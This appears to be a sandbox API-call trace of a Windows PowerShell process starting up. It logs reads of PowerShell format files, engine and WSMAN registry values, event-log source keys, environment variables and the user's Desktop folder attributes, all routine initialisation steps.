File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 4096 True 17
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 3022 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 50, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, size = 4096, size_out = 281 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 4096 True 62
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 3895 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 201, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 4096, size_out = 4096 True 21
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 4096, size_out = 3687 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 409, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 4096, size_out = 4096 True 4
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 4096, size_out = 2228 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 844, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 4096, size_out = 4096 True 4
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 4096, size_out = 3736 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 360, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 7
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Environment Get Environment String name = HOMEPATH, result_out = \Users\BGC6u8Oy yXGxkR True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR, type = file_attributes True 1
Fn
File Get Info filename = C:\, type = file_attributes True 4
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = MshEnableTrace False 5
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Desktop, type = file_attributes True 2
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
File Get Info filename = C:\, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Desktop, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\Desktop, type = file_attributes True 3
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Environment Get Environment String name = HomePath, result_out = \Users\BGC6u8Oy yXGxkR True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 11
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
